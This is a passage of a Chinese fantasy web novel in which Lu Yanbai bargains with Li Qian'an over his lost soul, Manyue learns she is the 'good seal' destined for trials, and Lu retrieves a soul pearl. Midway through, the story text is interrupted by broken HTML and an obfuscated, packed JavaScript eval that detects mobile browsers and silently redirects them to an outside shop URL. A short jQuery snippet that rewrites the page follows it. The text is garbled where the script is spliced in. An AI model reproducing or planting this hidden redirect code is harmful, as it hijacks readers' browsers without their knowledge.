他话音未落,四面地上的碎镜残片骤然而起,悬在半空。
成千上万的碎片停滞在那里,每一片都尖锐地指向厉千安,镜面残存的死气与冰冷的杀意交织,将他围在中央。
陆宴白丢掉一魄的事不是秘密,知道的人不算少,可这么明目张胆提及的还是第一个。
陆宴白弯眼笑起,只是笑意全然不达眼底:“看来前辈还是愿意与我一战。”
他说完,悬浮在空中的镜片便化作利刃一般,齐齐向中间的厉千安而去。
厉千安虽然早知道这小子的秉性,却也没想到他下手这么狠。他双掌猛地向前一推,张开灵力屏障,千钧一发之际将碎片尽数当落。
待镜片全被消融,他才收回了手。
纵然修为高深如厉千安,挡下这一击后手腕也被震得微微发痛。
他不动声色用袖子掩住了手腕,看着眼前依旧笑意盈盈的蓝衣少年,摇了摇头。
果然和他的评价一样。
一个只知道打打杀杀的莽夫。
这样的人,即便再强,他也并不太想收于麾下。过强的能力不能被约束,只会带来毁灭。若非小皇帝实在对他很感兴趣,厉千安是不会主动来蹚这趟浑水的。
“别着急,何不听我把话说完,你再决定。”厉千安道。
陆宴白正漫不经心地把玩着一张符箓,闻言他略挑了下眉,尽管没有正面回答,但周身凌厉的杀意却退去了些许,悬浮在空中蓄势待发的剩余残片失去了力量支撑,哗啦啦落回原地。
厉千安见状,心中稍定。
“老夫知道你那一魄的下落。”厉千安背着手,缓缓踱步到陆宴白面前,语气笃定,“并且,有九成的把握所言不虚。”
陆宴白弯了弯唇角,似笑非笑瞧着他。
不用讲,厉千安都知道他这是什么意思。
可怜他堂堂除妖司大司正,把多少人都不放在眼里,偏偏要对一个小辈这般卑躬屈膝。
“你放心,我并不需要你为我做事,也不用你背叛师门。”厉千安耐着性子道,“我只不过是想将真相告知于你罢了,至于是与不是,你听后自行判断,也损失不了什么,不是吗?”
*
从璇□□府出来,外面的日头有点晒,满月没留意,差点一脚踏空。
对于大妖说的那些,她一个字也听不懂,云里雾里,直到现在还没完全回过神来。
她走不动,索性就地坐了下来,抬起手腕,阳光照在玉珠上,晶莹剔透。
什么封印,什么试炼,什么善印之主。
她不应该是原著里连姓名都没有的炮灰吗?怎么忽然摇身一变给她安插了这么大一个身份。
而且是只有风险没有收益的那种。
按照大妖的说法,她经常会梦见的那个女子,并不完全算是她的阿娘,她是上古妖神织罗一族的后裔,负责掌管引风林和善印杀印。
她就是那个被她保管的善印。
饶是通读过原著全文的满月都懵了,因为这其中有一半都是原著中没有提到过的新设定。
首先是引风林。它是引魂渊的前身,换句话说,就是还未被死气污染过的引魂渊。
过去的妖族大部分生活在引风林,过着安居乐业的平静生活,与人族井水不犯河水。织罗族与善印杀印共同守护着引风林的和平,直到有一天,杀印动了凡心,于是落入了凡间,几经沉浮,等再度回到引风林,就成为了妖王。
妖王见识过人间的繁华与热闹,对于更为原始落后的引风林很是不满,他认为世外桃源一样的引风林只是妖族避世的借口,真实原因是织罗一族的懦弱,才拱手相让人间大片的丰饶土地。
于是妖王分裂了妖族,发动了重返人间的战争。他确实很强,一度将人间搅得天翻地覆,可惜后来还是被大能联手镇压。在他陨落后,磅礴的妖力化作死气,污染了引风林,引风林就此堕为引魂渊,不再适宜妖族居住,这才导致大量妖族逃了出来,从此流离失所。
这些都是几百年前的往事,就连璇玉也只是听说,并没有亲眼见到。
璇玉是上古神兽獬豸(xiezhi)的后代,獬豸一族历来辅佐织罗守护引风林,当年引魂渊之乱后,彼此之间失去了联系,织罗族带着善印消失于世间,而獬豸一族也因大乱死了许多妖,多年之后,最终只剩下璇玉一个。
她这些年救济万妖街的妖,也是为了有朝一日能够带着他们重返妖族真正的家园,引风林。
“妖王故去已有三百六十一年,自他陨落后杀印也不知所踪,直到十几年前,杀印才重新现世。”大妖看着她说道,“玄都观那个姓陆的小子,就是杀印转世。”
这已经是所有信息之中满月最不意外的一个了,毕竟这个设定贯穿了原著首尾,想不知道都难。她更在意的,是自己的这个善印又是个什么东西。
“善印与杀印本是双生之物,遵循着天地间阴阳平衡的法则。当杀印转世为人,善印也会跟着转世为人。”大妖似是看出她的所想,缓缓道来,“先前如此,现在也如此。”
简而言之,善印就是与杀印相对的东西,是另一种力量的化身。如果说杀印带来灾祸与杀戮,那么善印则带来和平与安宁,二者相护制约,相克相生。
所以璇玉的意思是,假如有一天,这里因为杀印陷入无可避及的灾难之中,能够拯救世间的,只有善印之主。
可就像杀印只会在极端的痛苦中被激发,善印也同样得通过严苛的试炼,才能彻底成为善印之主。在此之前,她并不完整,承载不了善印的力量,也容易招惹来不必要的觊觎。所以小时照看她的“阿娘”,也就是织罗族的后人才将她的善印封印住,等待着日后机缘具足的时刻。
“这些事,我原本想等你再熟悉一点再提,可是现在万妖街不太平,不是能够慢慢来的时候,往后的事谁也说不准。”大妖语气很严肃,“你要尽快通过试炼。只有通过试炼,你才能成为善印之主,得到善印全部的力量。”
满月全程处于蒙圈的状态。这就仿佛她本来好端端在玩种田游戏,突然被人按头了个勇者身份,告诉她主线任务不是种田是屠龙了。
她想起那个著名表情包:啊,我吗?
啊?她吗?
满月坐在石阶上,双手捧着脸,缓了好一会儿。
过去她一直想知道善印是什么,等真的到了这一天,才发现还不如什么都不知道。
对于大妖说的话,她一个字也不想接受。
满月对自己很有自知之明,她既不具备救世主的能力,也没有救世主的心性。而且换算到前世,她也才是高中生的年纪。
拯救世界靠一个高中生真的好吗?
又不是漫画!
满月浑浑噩噩回到自己的房舍,一天都没出去过,只觉得头晕脑胀,像是解离了一般魂不守舍。
她一晚上没怎么睡好,浑身发冷,盖了三条被子都捂不热,总是睡到一半就忽然惊醒过来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689437|178149||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>*
另一边,是夜,万籁俱寂。
“我知道你生性多疑,不亲眼见到是不会相信的。”厉千安的话犹在耳边,“那个地方有你需要的东西,等你亲眼见到,自然会明白一切。”
此刻陆宴白正立于一座荒废依旧的破庙前。惨淡的月光勾勒出断壁残垣的破败轮廓,蛛网在夜风中微微摇曳。
这就是厉千安说的那个地方。
面前的整座破庙都笼罩在一层血红色的雾气中,常人无法看见,这是至纯的死气与迷惑心智的阵法交织而成的,只要踏足其中,便会被阵法吞噬,血肉魂魄皆化为养料。
然而,这对于陆宴白而言却简单直白得有些过分了。
他甚至都未仔细打量,只随意地拨了一下挂在身上的铃铛,血红色的雾气顷刻之间便烟消云散,露出了庙宇内真切的荒凉。
陆宴白缓步走入,目标明确地走向神龛后方一处隐蔽的暗格。修长的手指拂过其上,稍一用力,暗格开启。
一只雕刻着繁复封印符文的漆黑锦盒静静躺在其中。
没怎么费力,陆宴白就将封印解除。他打开锦盒的瞬间,浓郁的死气弥漫开来,盒内衬垫上,血红珠子通体浑圆,流光溢彩。
果不其然,是命魂珠。
他现在手里有三颗命魂珠,已经是妖王权柄的一半,一颗是他早先得到的,一颗是九曲地宫度母阴司手中的,一颗是堕仙用来封印祭祀大阵的。
短短半年,他已经将这些蕴含着恐怖力量的珠子尽数炼化,纳为己用。但是要完全解开藏在他识海之中的强大禁制,终归还差着一些。
他其实很清楚,只要再炼化一颗命魂珠,他就能完全破解那道禁制,得到那段被封印起来的记忆,也就会知道自己丢掉的那一魄究竟去了哪里。
这明明是他曾经最为渴望的,可不知为何,当梦寐以求之物近在眼前时,他心底却泛起一丝莫名的空洞与索然,竟有些提不起兴致。
事实上在厉千安讲完那番话后,他差不多已经明白他说的是真相。他之前就有过同样的猜测,只不过缺乏确凿的证据罢了。
他的思绪不由自主地飘远。
她会怎么想呢?
他太了解她是个什么样的人,她愿意留在他身边,有一半的原因是他的强求。
如果他执意要强行取回自己缺失的一魄,势必无法再维持眼下这种脆弱的平衡。
而她是绝对不会眼睁睁看着她在意的人受到伤害的。
是的,她不会站在他这一边。
陆宴白想。
也许正因为内心深处知道这个事实,所以他才不愿意再有所行动。
陆宴白微垂下长睫,面无表情瞧着锦盒之中发着诱人红光的命魂珠,光亮映在他的面容,明灭不定。
除此之外还有一点是他格外在意的,那就是厉千安又怎么会知道这件事?
身为除妖司的大司正,无论死气还是命魂珠,都应当是他们管制和销毁的东西,不可能轻易外泄。
可是现在,他不仅参与其中,还主动将这样东西交到他手上……对此,陆宴白认为只有一种解释。
正想着,空气中传来一丝转瞬即逝的灵力波动,极其轻微,却还是被他敏锐捕捉到了。
陆宴白没有抬头,也没有循着那丝灵力四下找人,他只是弯起眼睛,慢条斯理地笑道:“既然来了,为何不现身?”
语毕,他轻轻合上了锦盒。
“师父。”他道。